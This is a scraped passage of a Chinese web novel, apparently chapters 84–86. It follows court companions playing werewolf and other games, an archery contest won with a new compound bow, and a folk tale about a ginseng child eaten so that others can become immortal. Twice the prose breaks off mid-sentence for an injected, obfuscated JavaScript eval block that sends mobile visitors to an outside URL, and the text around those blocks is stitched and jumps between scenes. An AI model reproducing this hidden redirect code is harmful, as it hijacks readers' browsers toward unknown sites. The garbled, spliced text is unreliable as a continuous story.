饭后我们一起玩游戏,柳延年想告退,却被平安留下,和她一起组织我们玩狼人杀。介绍完什么是狼人,和怎么杀的游戏规则以后,我们试了一把,觉得很有意思,便决定大玩特玩。 谁知正式玩起来,竟玩得稀碎,真让人难以置信,明明按规则来的,明明好人占大多数,但最后每次都是坏人赢。 我气急败坏,忍不住叫停游戏,带着大家开始复盘。 发现这特么根本不是狼人杀,我们玩的竟是好人杀,游戏过程中,好人一直跟好人互掐,于是坏人根本不用动什么脑筋,只要顺着好人,大家一起齐心协力投死一个好人,然后女妖毒死一个好人,接着猎人猎杀一个好人……游戏结束了。 确定自己玩的是好人杀以后,大家都蒙圈,不说话了。 我玩游戏是不能输的,输了我会比死还难受。我抱头躺在地上蹬腿儿翻打滚,发牢骚埋怨众人:“咱们在干什么,一个个骨子里就是喜欢杀好人的坏人?都是天生的反派吗?杀起来竟毫不手软,拦都拦不住嗳!”我都用性命保证,那些是好人了,还是执迷不悟的给杀了,怎么游戏里的性命不值钱是吧!! 复盘以后,柳延年和平安也茫然了,他们从来没把狼人杀,玩成好人杀过。他们也不明白,一群智商很高的人精,为什么会把狼人杀玩的这么糟糕。 那绝逼是心眼子太多了导致的。这是柳延年后来得出的结论。 大家被我责怪的面面相觑,花铁铁按住疯狂翻滚的我,叫我冷静。 冷静个屁啊!花铁铁也好强,也爱赢,但这种团体游戏,大家都输,她就没事,可我不行,团体游戏更要赢。 我瞪了一眼花铁铁,对她嗤之以鼻,“就属你杀得疯,当坏人杀得疯,当好人杀德更疯,其他人当坏人的时候多少还有点做贼心虚,心慈手软,表现的比你当好人的时候都好,而你……你简直毫无人性。” 花铁铁因为自己确实要承担输了游戏的责任,于是并没有跟我犟嘴,只嘀咕着说太子殿下杀得更疯,她不管当好人还是坏人,她都是站太子的。 哟,你还挺忠心的哈!真那么忠心,别把太子牵出来啊!! 我心里那个不爽啊,可花铁铁一招东引水,涉及到了太子,我便打算偃旗息鼓。 平安这时候也怕我不知深浅,一生气小嘴巴什么都往外秃噜,便赶紧出来插话,道:“要不咱们换个游戏玩吧,玩细作。” 柳延年一脸懵问什么细作,平安说就是卧底,柳延年方才恍然大悟。 刚才他们提议说玩狼人杀的时候,七皇子忽然睡下了,这会醒来听柳延年和平安介绍完细作的游戏规则,又睡下了。 我们不管他,只从平安手里抽签,拿各自的关键词,开始玩游戏,结果还是聪明反被聪明误,依旧玩得乱七八糟。 然后就玩“动物园里有什么”,这个游戏我们玩得很好,最后一直没人犯错,有些累了,就自动停了下来。 接下来就是平安和柳延年玩默契游戏“几只马”,让我们猜到底几只马。还有“这是开,这是关,这是开还是关?” 这两个游戏是持续性游戏,最后一个弄明白的是赵不虞,已经是学宫大考的最后一天,我们去校场再遇上的时候,他才给出答案。 七皇子睡了醒,醒了睡,我们习以为常,打好地铺,一圈人正围着打牌的时候,七皇子忽然醒来,红着眼睛,盯着柳延年和平安看了许久。 当时平安在大殿西侧开间重新换茶水,正跟柳延年说小话,我陪着正在兴头上的太子打牌,听了一耳朵,好像是柳延年的钢琴做好了,叫平安抽空去看看。 平安应下,又问柳延年她的自行车什么时候提上日程,柳延年叫她回去先画个心仪的样式,回头他想好用什么替换橡胶轮胎和刹车片,就给她做。 平安还说长安的鱼鳞状画册虽然画的好,但还是不够写实,说柳延年连复合弓那种精细的机关零件都能做出来,便想着让他研究研究照相机什么的,实在不行琢磨琢磨油画也行,她说她想拥有一张照片留住青春美好的容颜和记忆,黑白的自然可以,但最好是彩色的,再不济,哪怕一副写实油画也好。 柳延年有些为难,说相机他不太懂,毕竟他们那个时代大家都用智能手机了,老式的机械相机没接触过,但油画颜料确实可以想想办法,他也确实对油画有一些了解,可以试试给平安画一副。 然后七皇子越听越激动,冲着平安和柳延年伸了伸手,张开的嘴还未说什么就又昏睡了过去,这次整整睡了两天两夜。 我们这局正好结束,惠王洗牌,我好奇自行车的样子,叫平安现在就画出来给大家看看。 太子今晚手气极佳,一时间爽朗豪气起来,大手一挥叫她去自己的书案上随意画。 柳延年也跟了过去。 本来以为平安会画很久,没想到,我们刚抓好牌,她就兴冲冲地拿着画跑来了。她那样子,大概是觉得自己画得很好吧!那我必须力捧,我心中已经把所有的溢美之词准备好了。 可事实是,我将牌反扣着放下,接过画来,大家如同好奇宝宝一样,都围上来要看看自行车究竟长什么样,然后看着看着就脸红了,慢慢撤回去坐好。 原本一脸自豪的平安,看看这个看看那个,对众人的反应很是疑惑,蹙眉问:“你们怎么啦,我画工是差,但也不至于让你们红温吧。而且这次我感觉我画的还不错,还行,该有的部位都有了。” 其实,有些部位,可以没有! 花铁铁咬了咬嘴唇,问道:“这什么行车?我怎么瞧着有点像一个人正跳起来飞踹,另一个人的……”花铁铁难得顿住了。 “小鸡鸡!”我擦,我居然顺嘴就说出来了,真是倒反天罡,花铁铁刹住了,我居然没刹住。 我感觉想死了,呜呜呜,太子殿下,我…… 果然,众人嚯地一下子散开,避我如蛇蝎! 我对面的平安恼羞极了,红着脸,拧着眉头一把将画纸夺回去,然后正过来交到呆若木鸡色如红虾的我手上,道:“什么乱七八糟的,你俩就会胡说,画都拿反了,呐,你们看,这个呢就是轮胎,这个是车梁,这是车把,哪里是什么人啦,到底哪里是人啊?!再胡说,就把你们两个 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我和平安不喝酒,只有大冒险一个选项,这下可叫她逮住机会了,平安叫她逼着亲了一下太子,我叫她逼着脱衣服,脱得就剩个肚兜和小短裤了,她扬言非要让我光腚不可。 今晚她运气实在太好,我决定避其锋芒,于是哭闹着赶紧结束游戏…… 时辰也不早了,明日太子殿下还要早朝,花铁铁和平安伺候太子殿下洗漱,洗脚,便到里间歇下了。 第二日天微微亮,太子和近臣们便起身收拾一番去上早朝,我们一行人也抬着昏睡的七皇子,出了东宫,乘坐惠王的马车回家。 日子按部就班,柳延年用尽毕生所学,将所有曲谱都整理出来留给了乐府府正,正式辞官了。 但是府正爱才,不舍得他,就给他挂了一个乐府员外的身份,留着乐府腰牌,让他可以时常出入乐府,一起探讨乐律。 他如今住在万园街,还叫手下的匠人复刻他的钢琴,做了一台新的送给平安,平安收到以后,开心极了,弹了整整一下午。花铁铁问为什么明明是木头的,却要叫钢琴,这不是胡扯吗? 我猜可能因为发出的声音清脆悦耳,犹如敲打钢弦一般的缘故吧。 花铁铁和郑清进步神速,他们各自写了一篇为学心得的文章,教了上去。目录上的书也通读完了,背的差不多了。约么再过个两三日,就可以请庄先生来家里讲学了。 郑清就带着卫不弃住进了书芳园,连灵藕也带了过来。 花铁铁如今在上林苑学宫校场的名气可大了,她现在练箭都是去十四十五力的硬弓靶场,那里原本练习的人不多,可是因为花铁铁,人气渐渐上涨起来。 也没啥,就是花铁铁的骑射,太具有观赏性了,连我看了都觉得心潮澎湃,十分过瘾。 柳延年最近也和我们一起来校场练射箭,他说他虽然仙根断了,不能修习了,但是也有千里封侯的豪情壮志,要创一番事业,名垂青史。 可他连八力的弓都拉不开,练其他兵器,不是砸了脚瘸了腿,就是磨了一手泡,叫苦不迭,花铁铁笑话他,讽刺说他的封侯是见血封喉。柳延年羞愧难当,牵着他的奶狗子五黑犬就一踮一踮的走了。 好几天不见踪影,直到昨个,柳延年说他有个好玩意要和我们展示,起初我们还以为是自行车造好了,没想到是个什么复合弓。 我们都没当回事,当时,花铁铁将骑射场的靶子换成了铜钱,正用新的马上姿势,尝试射击,我瞧着薛环在远处高岗上跟我招手,就跑了过去…… 郑清迎上堂邑夫,拿出课本请教,卫不弃很有眼力见的给堂邑夫递上水囊,平安叫堂邑夫好好给她的清哥哥讲讲。 薛环给我一个锦缎小袋子,我拉开袋子口,里面是各种各样的坚果,都剥好了外壳,都是我喜欢吃的,我笑呵呵地看着他,满眼欢喜,他每次来找我,都不空手,花样儿也多。是以,我每天都盼望着他来找我,每次看见他都满怀期待,他也每次都不叫我落空。 薛环举了举手道:“扒之前,我用烈酒洗的手,放心吃吧。” 这习惯,是堂邑夫跟他说的吧。 85. 复合弓 “再看看还有什么?”薛环看着我,用下巴指了指袋子。 我赶紧低头,翻了翻,是松子,这个季节的松子最金贵,再过些日子,松子下来了,一上市,反而不稀罕了。 松子居然用松针整整齐齐的穿成串!这,这是以前杜晦的习惯,他每次送我松子,都是这样扒好了穿成串的。也是堂邑夫跟他说的? 我抬头看了看他,薛环将我的惊讶惊喜尽收眼底,然后又用下巴指了指,眯着眼笑道:“再翻翻!” 我动作慢了下来,轻轻地翻动着坚果,我有些不敢翻了,因为最底下的秘密是堂邑夫也不知道的,只有我和杜晦知道…… 竟……真的有我爱吃的糖果…… 看着糖果,思绪涌上心头,我眼圈一下子就红了。 前两年在洛阳的时候,苏和不让我吃糖,堂邑夫便不敢给我吃了,偷着也不敢,只有杜晦,悄悄的在送的我坚果底下藏了一些…… 如今,我的牙口更不好了,平安和花铁铁都限制我吃糖,连这些对牙齿不友好的坚果也不叫我吃。于是身边的人也都不敢给我吃,惠王齐王偶尔偷偷给我一两颗糖果,可那对我来说根本杯水车薪。 我多么想念杜晦,也许他泉下有知,变成鬼魂,回来附身在薛环身上,继续对我好了?他们真的很像,很像,像得让我不禁觉得根本是杜晦回来了,薛环就是杜晦…… 我打了一个激灵,快速地转过身去,胡乱把眼泪擦干。 不不不,杜晦已经死了,连尸身都不肯留下,灰飞烟灭,哪里还有魂魄存在呢?自然也变不成鬼回来附身,就算他们再像,也不过就是像而已。 也许我所谓的这些和杜晦之间才有的小秘密,堂邑夫早就知道了,看我这些日子被限制口腹之欲,拘谨的难受,便私下吩咐薛环这样做的…… 嗯,我想这一切大概率是堂邑夫的嘱托。我塞了一颗糖果含在嘴里,糖衣化开,满口甜蜜。 身后的薛环上前一步,握住我的双肩,侧头看我:“好吃吗?咦,怎得哭了,我……”他话没说完,便听见远处骑射场上一阵骚动,我们对视一眼,立即跑了过去。 那是柳延年的高光时刻,他说他一辈子忘不了,那一刻的快意。 谁又能想得到呢,箭无虚发的花铁铁竟完全被柳延年的复合弓压制住了! 起初花铁铁不信邪,以为柳延年瞎猫碰上死耗子,谁知一连射了几十箭,柳延年箭箭打偏花铁铁,而且轻轻松松毫不费力,衬得汗如雨下的花铁铁分外狼狈,再加上场外人群的骚动,她的恼火瞬间爆发到极致,整个人都燃烧了起来,很生气地气了一下,就冲着柳延年拍马而来。 柳延年原以为他在劫难逃了,吓得身子僵硬,脸色惨白,却不料花铁铁只是过来向他请教复合弓是什么神兵利器,居然这么厉害。 这么一个大转弯,反倒给柳延年整不会了,愣了好一会儿,直到我们都围了上去,跟他请教,他才回过神来。 一群人里就属花铁铁问得最细致,学得最认真。 这便是我们江湖豪杰的本色,输本事可以,但不能输风度。 在江湖上混,不是简单的你死我活。你比我弱,我自无论如何,不给你机会比我强;但你真比我强了,我就要思考了。我们会找原因,并认真分析对比,你强一点,我徐徐图之,强很多,我赶紧师之,若强太多,我心服口服,远之或者从之! 花铁铁经过一番了解,拿过弓来,按照柳延年讲解的要点,试了一箭。 “唰”的一声,包括她自己在内,所有人都清晰地感觉到花铁铁只是轻轻撩了一下弓弦,那箭便瞬间射出,然后竟一下子不见了踪影……十四十五力的靶场射距已经十分遥远开阔,确不及复合弓射程的一半! 花铁铁也懵了,她就想简单尝试一下手感,连四个力也没用上。 “我了个擦,什么情况……”堂邑夫大惊,道:“射这么远,不会射到人吧!?” 很多人在震惊之余,也都有此担忧,毕竟箭飞出了靶场那么远,流箭伤人的事故也不是没发生过。 靶场护卫顿时警备起来,一组人将我们暂时看守住,另一组人顺着箭矢的方向策马寻去…… 众人等待结果,祈祷无人受伤。 花铁铁惊奇地问:“柳延年这复合弓是什么弓,几乎不用力,射出去的箭就跟穿云箭一样!?” 柳延年挺了挺胸膛,道:“看在你刚才虚心求学的份儿上,我就告诉你吧,这是后羿神弓,当年用来射太阳的。”暂且不论他是不是又在胡吹,只那与生俱来的优越感,便叫我顿时对这把所谓后羿神弓失去兴致。 护卫拿着箭回来,非常兴奋地高声道:“射程三里开外,无人受伤。” 众人哗然,纷纷赞颂,后羿神弓现世,不一会儿便传的神乎其神,说柳延年的神弓若是配上传说中的穿云箭,必定真的能把太阳射下来。 国之大事,唯祀与戎,戎在神兵,柳延年因进献后羿神弓,与国有功,特赐学宫进学。 安园的家学课堂又多了一个学生。柳延年也搬进了书芳园,和郑清同寝。 “啊……为什么这个大傻逼都能去学宫进学!!!” “因为他就不是个逼!” 花铁铁愣了一下,然后尖叫着抓狂着,把我和平安都驱之门外。平安说叫我管住嘴别再火上浇油了,这次花铁铁不仅仅是扎心,而是心直接碎掉了。 我向平安打听复合弓的事儿,平安说她不知道,那个世界的武器很多,枪啊,炮啊,原子弹啊,她都知道,但复合弓这种东西她连听说都没听说过,应该是柳延年自己创造的。 哇呜,那柳延年可以啊,以前我笑话他的曲子都是拾人牙慧,讽刺他不会推陈出新,如今他倒把创造力用在兵器上了,还真是不容小觑啊。柳延年的天赋还不止这些,他背书的速度也很快,才一模课本,就大有后来居上的趋势。不几日便把花铁铁和郑清碾压的有点喘息不过来,当然这是后话。 人类的悲欢并不相通,花铁铁这会儿伤心欲绝,而我坐在自己院子里的秋千架上,来回摆着小腿,啊呜啊呜地吃着薛环给我的甜蜜坚果,还哼着小曲,快乐的像个无忧无虑的小猴子。 有婢女来到我的院子传话说:花铁铁叫我别太过分,不然她就来扇我嘴巴子,叫平安没收我所有好吃的。 我脑补了一下画面,立即听劝得回了房间,悄没声息地吃。 因为柳花郎拿到学宫入学资格,李大娘子便要为他庆贺一番,在花小楼三楼包间设宴款待,再者她要去洛阳开分店了,宴席上与我们辞别,以后长安城这里的买卖,就交给她的好姊妹万大娘子接管了,万大娘子我们之前自然是见过的,只是不曾交涉热络,正好借着这次机会彼此相熟。 李大娘子听说齐王要赴国,恰巧他们有一段顺路,于是就把出发的日子定在了一天,方便同行,一路上有亲王侍卫守护,照应,是恩典也是荣光,传到洛阳,也是李大娘子的脸面。 柳延年在万园街的商业买卖一直都是几个大掌柜出面张罗,表面上他只是万园街的常客,组了几支乐队,提供了一新奇经商想法而已。 只有我们内部人知道那些产业都是他的,如今他抬了良籍,御赐学宫进学,以后走上仕途,正式步入官场,商业这一块儿他要避嫌,至少明面上得摘干净,便推举出一个心腹掌柜,权权接管,自己则完全退到幕后,不再显山露水。 陛下和太子安排我的事,我也紧锣密鼓的操办起来。 大家都在朝着好的方向发展,前途光明,蒸蒸日上,步步高升。 稷田的玉米成熟了,头些天的玉米最是鲜嫩,煮着吃,蒸着吃,烤着吃,都好吃,等灌浆灌实了,玉米就老了,便只能磨成粉,做面食了。 通常汉家天子会赶在这时候,亲自去稷田收一批鲜玉米送进冰库储存,来日作为赏赐,以示皇恩浩荡。 往年圣驾有恙,都是太子出面,今年刘景身子虽已大好,却依旧还是请太子代劳。啧啧,刘景这个当爹的,还真是给足了儿子尊崇荣光。 太子无疑是幸福的,刘景给他的父爱纯洁无瑕,没有一丝皇帝的权谋算计和猜疑制衡。细看历史,还没有哪对儿天家父子如他们一般,刘景到现在还叫太子大宝,太子也始终称呼刘景爹爹,一如他们在民间的时候,真是羡煞人也。 这日清晨天蒙蒙亮,太子就带着近臣们,到稷田收玉米。 我们是跟着刘景给太子他们送早膳的时候去的稷田。 花铁铁感叹大汉还真是自上而下的淳朴务实,连皇家都下地干农活,不像南唐,但凡有点地位和钱财的,就五谷不分四体不勤,有的一辈子连麦子稻苗韭菜都分不清,别说干农活了。 汉家得来天下不易,太祖皇帝也怕子孙忘本,五谷不分,骄奢淫逸,所以特别开出这稷田。一为警示当位者,心怀天下,励精图治。二来,得了赏赐吃上皇粮的臣子们,也会分外感激,忠心不二。 既然来了,就不能闲着,我和平安、花铁铁也跟着干农活儿,把堆成堆的玉米送到车上码放整齐。 花铁铁要用内力显摆一下她干活儿快。 我说你傻啊,咱们真是为了干农活儿来的吗?想干活儿,上哪不能干啊!? 这点活儿对咱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这日老和尚要下山,见小和尚把事情都做完了,正坐在庙堂之前看经书,他心里就不痛快,自己不修行,也见不得别人修行,于是就使坏将红豆和绿豆混在一起,叫小和尚在他回来之前分好,不然就打他。 小和尚分了一整天,眼见太阳西斜,豆子才分了一小堆,又急又怕,就哇哇哭起来。 忽然,有一男一女两个漂亮的小娃娃来了,趴在庙门口问:“小和尚,小和尚,你哭的这么伤心,定是遇上天大的难事,受了天大的委屈,和我们说说,看我们能不能帮上忙?” 小和尚哭哭啼啼的诉说完,擦着眼泪再一抬头,两个小娃娃,已经将豆子分好了,三个人就在一起快乐的玩耍了一会儿,才分别。 老和尚醉醺醺的回来,看见小和尚完成了布置的事情,心里不舒服,便记恨起来,第二日,他下山前将更多的红豆和绿豆混在一起,为难小和尚。 等晚上回来,一看,小和尚竟又完成了。老和尚简直要气死了,第三日,将豆子混在一起,又倒进炉灰里,心想这回儿我看你还能分得完吗?我必定打死你不可! 花铁铁顿了顿,问道:“你们猜结果如何?” “难道这次没分完,两个娃娃被抓住了吗?”平安有些担忧地问道。众人也都一脸担忧。 “故事到这儿你们也能想到那两个娃娃来历不凡,怎么可能被抓住?”花铁铁呵呵一笑,继续讲述。 老和尚三番五次的诡计,都没得逞,就留了心眼,这日回来得早些,想看看小和尚到底怎么完成任务的。他躲在暗处,一下子就发现了两个娃娃。他毕竟是个老和尚,懂得自然多,心思也重,没动声色,直等到娃娃走了,他才进庙。 次日,下山前,他将小和尚叫过来,说他已经看见那两个孩子了,问是谁家的孩子。小和尚回答说之前问了两次,娃娃们都只笑笑避而不谈。 老和尚于是断定心中所想,将一根穿着红线的银针交给小和尚,又蒙骗小和尚说这两个孩子不知是山下谁家施主的,叫小和尚偷着把这穿了红线的银针别到小娃娃身上。 老和尚特意嘱咐做这事的时候别叫娃娃看见,他才好顺着红线找到施主家里去,跟人家说清楚,把孩子好好看护起来,要不以后他们日日来玩,路上出了事儿,咱们庙里不好交代。 小和尚虽然舍不得两位娃娃,但也担心他们总是贪玩到处跑,真出事儿就不好了,便听从老和尚的吩咐,傍晚送两个娃娃出门时,洒泪惜别,叮咛他们千万保重,路上小心,以后别再来了,然后就趁其不备将银针别在了男娃娃身上。 老和尚当晚回来顺着红线寻去,果然找到男娃娃栖身之所,“你们猜他们是什么?” 86. 众生平等 其实,也没什么悬念了,花铁铁却非要故弄玄虚一下。 “肯定不是人,约莫是什么精灵吧?”平安很配合道。 “嗯,和郑清的灵藕差不多,是人参娃娃。”花铁铁揭晓答案以后,又接着讲故事。 老和尚只找到了男娃娃的本体人参,却怎么也寻不见女娃娃,为什么寻不见呢?因为女娃娃身上没有红绳,她法相未破,所以本体人参是不显现的,便是在老和尚眼皮子底下,他也看不见。 天色晚了,老和尚也没带锄头,原本到这里男娃娃也是可以躲过一劫的,等到鸡鸣天亮,他化成人形,把身上的银针红线摘掉解了法术,叫上女娃娃一起逃了就行。 可惜老和尚实在有些道行,懂得太多,当即用红绳和铜钱把人参叶株拴住了,男娃娃被锁了灵力,这下完全跑不了了。 老和尚机警,怕夜长梦多,从庙里拿了锄头回来,连夜将男娃娃挖走,回去就洗洗干净下锅炖了。 “啊!”众人倒吸一口凉气。纷纷惊叹,这也太快太麻利了吧!! 花铁铁很满意大家的反应。 哎,这个成仙啊,是大事,做大事就得快准狠,老和尚虽然人品一般,但就这一点,无可挑剔。可以骂他心狠手辣,也可以赞他很有决断,如何评价,看个人对他的喜恶了。 “那他就把人参娃娃炖了吃了成仙了?”众人蹙着眉头,打报不屈地问。这种人怎么能成仙呢!? 啧,故事还没完呢,且往下听啊。 花铁铁继续讲:从夜里子时开始,煮满十二个时辰,到次日正午开锅,人参娃娃就可以吃了。 老和尚就在锅边等啊等,等啊等……终于,还有一个时辰就要好了,偏这时,山下每日和老和尚一处的酒肉朋友,见今日老和尚没下山,以为老和尚出了事,便找上门来。 老和尚心里抱怨:平日也不见得这么关心,偏偏我得了宝贝要升仙了,你找上门来。 老和尚有私心,不想朋友知道,否则免不了分一杯羹,一同成仙。于是就谎称起晚了,叫朋友在庙外等着,他换身衣服就来。 实则是去嘱托小和尚帮他烧火看锅,当然他还不忘特别警告小和尚,他不回来不许掀锅,否则定要将其打死。 小和尚正在早课,还疑惑问今日师傅下山,不用他分豆子了吗? “唉,还分什么豆子啊,帮他分豆子的人此时就在锅里呢!”花铁铁满脸惋惜摇了摇头,继续道:老和尚打了小和尚一下,嫌他多嘴,只叫他记住吩咐看好锅,便和朋友下山喝酒去了。 这锅里的人参娃娃没到火候没到时候,是没有味道的,一点味道也没有,非得到了时辰香味儿才出来。小和尚只顾着烧火,根本不知道锅里炖的是什么,不然非是哭死不可。唉,一切都是命,一切都是机缘造化。 花铁铁又是一番感慨。众人已料到男娃娃的结果,心里也都唏嘘。 故事继续:只见,正午一到,锅里便呼呼冒出香喷喷的热气来。 小和尚一开始是记着老和尚的话的,可是这香气越闻越香,香入骨髓的香,小和尚实在受不了了,就把锅盖移开了一道缝,想多闻闻味儿,这一开不要紧,香气四溢,哪是闻闻味儿就满足得了的? 小和尚无论如何也忍不住了,最初先从锅缝里,偷舀一勺汤出来喝,然后把筷子沿着锅缝伸进去,扯下一块肉来吃,这一口肉下去,就大开杀戒,大杀四方了,把锅盖掀了一扔,也不管锅里煮的是个什么,闷头抱起来就啃,最后连汤都喝光了…… 有人问,小和尚不嫌烫啊,花铁铁讲在兴头上,被打断,心里不爽,翻了个白眼,说:“那是仙汤,仙汤再热,也不烫人的。” 接着道这小和尚都吃完了,脑子才清明,惊觉自己好像吃的是个男娃娃。 这时仙汤的奇效上来了,小和尚灵识一开,前因后果便全然知晓,还没来得及伤心难过,只觉身子一轻,便飘了起来,直冲着天界飞去。 正从山下赶回来的老和尚,抬头看见一道金光,小和尚飞升了,一拍脑门,坏了,这是让小和尚捷足先登了。他急急忙忙回到庙里,大骂小和尚连骨头都没给他剩一根。 情急之下将锅刷了一下,把刷锅水给一饮而尽。正坐在凳子上生气,身子竟也飘了起来。于是老和尚,便骑着凳子追小和尚,一边追一边越想越气,就忍不住大声叫骂。 这一骂,便惊动了河边洗衣服的妇人。那妇人抬头,大惊:“可了不敌了,你怎么骑个凳子满天飞啊,可得小心啊,别掉下来把腿摔断了。” 妇人话音刚落,老和尚就掉下来把腿摔断了。 花铁铁讲到这里,众人不禁哈哈大笑。 “老婆嘴,老婆嘴,说好就好,说坏就坏。”花铁铁道:“民间是很相信避口谶的,尤其是妇人嘴里的话,如果是个有口德妇人,那便是可以成事的,若是遇上嘴巴不好的,那就要倒霉了,这老和尚心思坏,就该他倒霉,这是报应。” 所以说世间事人在做,天在看,拼能力,拼气运,到最后拼得还是人性。心术不正,再有本事,也往往不得上天护佑,关键时候必叫他鬼使神差,阴差阳错,事败垂成,功亏一篑,到头来所有努力不过是给他人架桥铺路,做嫁衣裳而已,总之,天网恢恢,报应不爽。 “不过那妇人还是有口德的,合该说一句别掉下来摔死了,老和尚指定活不成。”平安问:“那女娃娃呢,最后怎么样了?” 花铁铁叹了口气,道:“第二天女娃娃醒来,怎么找男娃娃也找不到,便天天找,日日找,后来山神见她找得辛苦,就将实情相告。女娃娃伤心极了,在山顶落泪大哭一场,之后便离开鲁地,去关外建州的深山老林里躲起来修行了,所有建州盛产人参,品质也是最好的。而女娃娃留下的眼泪,则变成了天麻,所以鲁地多天麻。” “那女娃娃从此就一个人了,好孤单好可怜啊。”平安伤心落泪。 “那有什么办法,男娃娃已经给人吃掉了,唉,都是劫数。”花铁铁说完,又对一边的郑清,嘱托道:“郑清,你好好伺候灵藕,等它醒来,我还要给它道歉呢。”花铁铁心里一直很愧疚,总记挂着灵藕娃娃的事。 郑清闻言点点头。 我牙口不好,啃玉米啃得极其费时极其慢,惠王和齐王就把玉米一粒一粒剥下来,喂我,但大家听故事听得入迷,玉米烤得有些过了,我弄得满脸都是黑渣渣。 平安凑过来想和我说什么,看清我的脸,倒吸了一口凉气,赶紧往后退了一下,蹙着眉头,有些嫌弃又有些抱歉地道:“长安你吃成这样子,脏到我了。” 平安一边用帕子给我擦脸,叫我别吃烤玉米了,还是吃煮的玉米吧。一边埋怨男人果然不会照顾孩子,给这么漂亮的小娃娃吃出络腮胡了,还一个劲儿闷头喂。 齐王惠王不恼,反而忍俊不禁。大家也都笑起来。 平安把我擦干净,才问我,道:“这故事你给七皇子讲过对吧,他之前就叫你人参娃娃。” 见忙着吃玉米的我抽空点了头,平安又问:“这故事是你师父讲给你听,你又讲给花铁铁的吗?”平安听我讲过不少关于精怪的故事,都是我师父讲给我的,但这个例外。 “不是,是有一次我和花铁铁杠上了,练功练得太用力,晚上难受闹觉睡不着……杜晦哄我们睡觉,给我们讲的。”我淡淡道。惠王换了一个凉好了的煮玉米给我抱着啃。 “哦,是他,是那个麒麟子,啧,他人看着怪好的,死了真可惜。”平安想起那个惊才绝艳的人,双手托着脸,神伤惋惜,围帽歪了都没察觉。 花铁铁一副不在乎的样子,“那也是他的劫数。” “铁铁你看得好开啊。”平安话里话外带着不可置信和些许责备,毕竟以她了解的看来,杜晦是我们的至交好友了,朋友死了,怎么也不能这个样子,思彼及此,要是以后我们中的谁离开了,花铁铁是不是也这么不当回事呢? 只有我知道,她不是不当回事儿,她是太在意杜晦,所以才更要伪装,把自己逼成这样,我看了一眼花铁铁,低着头继续啃我的玉米棒子。 “唉,不看开又能怎么样?我们混江湖的,生死都看得很淡很淡。这脑袋别在腰上,再有钱再有本事,也是睡了这觉没下觉,吃了这顿没下顿,这么多年一路走来,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15104740|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们身边的人一茬换一茬,一茬接一茬,要是我们把生死看得太重,天天光得参加葬礼吃席了,俩眼哭得桃子似得,就剩一条缝了,到时候就得这么看人。”花铁铁一边说一边演,“人都说门缝里看人把人看扁了,咱们是什么?眼缝里看人,看谁都躺着,那日子还有法儿过啊?” 花铁铁咬了一口玉米,吃的津津有味。她谈论生死,就像和人见面打招呼,问吃了没一样稀松平常。她越是洒脱,听的人就越是揪心。可是她又说得好笑,大家便忍不住笑起来。 “啧,人呢就这么回事,早死晚死都得死,谁也不能活着离开这个世界,就说那男娃娃尸骨无存,女娃娃哭一场离开伤心地,也就罢了,难不成跟着一起死啊?”花铁铁这样说着,我觉得她此时说的男娃娃女娃娃暗指杜晦和她。 “可是男娃娃就这么死了,这事就翻篇了吗?即便是他在劫难逃,可为什么小和尚就得道成仙了,老和尚也只摔断了腿?”平安觉得报应太小了,都没人给男娃娃一个说法吗? 什么说法?他又不真是个男娃娃,只是一个人参精而已,就和郑清的青莲灵藕一样,养着归养着,挖出来吃了,也就吃了,又能怎么样?我真是被平安的天真无邪可爱到了。 我道:万物皆有定法,也有等级,上天最大,然后是人,其次是精灵鬼怪妖魔等等。所谓天作孽由可恕,人作孽不可活,往下退一等级亦是这个道理,通常气运加身的人在这些灵物身上获益,都是命中注定的机缘和造化,即便是老和尚那种恶人,代价通常也会很小。可这些灵物要是随意进入凡尘,遇上劫难和变数,那就是它们自己该当的,倘若兴风作浪,为祸人间,更是死不足惜。 “啊?这样啊!”平安并不沟通,“可是,好不公平啊。” 这和公平不公平没啥关系吧?我道:“人是万物之灵长,万物臣服于人,就像人臣服于上天,是一样的,天道使然,有啥不公平的?” “可是,我就是觉得那个男娃娃死得好惨,也没人给它主持公道。唉,得多不容易才修成人身啊,结果,就这么成了人家升仙的踏脚石。”平安觉得玉米不香了,吃不下了,“众生平等才对,谁的死也不应该理所当然。” “平安你要不要听听你都说了什么?”我是真的有些蒙圈了,我知道平安自从梦穿了那个世界,看法想法就和我们这个世界的人不太一样了,但我没想到这么不一样:“那要是众生平等的话,那你吃一只鸡,偿不偿命,你的猪长平死那么惨,你怎么不给它主持公道,还和大家伙一起吃了呢?还属你最能吃。呐,咱们现在啃玉米,是不是还得跟玉米道个歉,做法事超度一下。” 众人笑起来,平安局促,说我诡辩,说我偷换概念。拿手上的玉米打我。 真是胡闹,这不仅是粮食,还是皇粮,怎好随意做打。我忙冷着脸斥问:“嘿,玉米还吃吗?……不吃给我!” 平安先是被我唬的一哆嗦,随即娇嗔,骂我讨厌,与我嬉笑起来。 那边花铁铁啃着玉米不知道寻思什么,忽的眼睛一亮,她最近读书多,也喜欢思考,突然有了新的见地,就忙着发言,对平安道:“莫论众生平等了,单说人和人也有区别啊,三六九等的,就比如他强睡了你,那就是强~奸,”花铁铁说着用玉米棒子指了指韩燕熙,又指了一下太子,接着道:“那要是太子睡了你,那就是临幸,你不能不愿意,你还得感恩戴啊,我草啊……” 没等我去打断花铁铁,恼羞的平安已经一玉米棒子呼到了花铁铁脸上,骂她胡说八道,愤怒地起身跑开了。 田间地头的驴,小跑着在平安身后一路跟,平安甩不掉,她害怕,却不肯求救,回身照着驴脸就是一巴掌,那头驴很受伤的样子,转头嗯啊嗯啊地跑远了。 郑清只来得及把驴哄回来栓好。 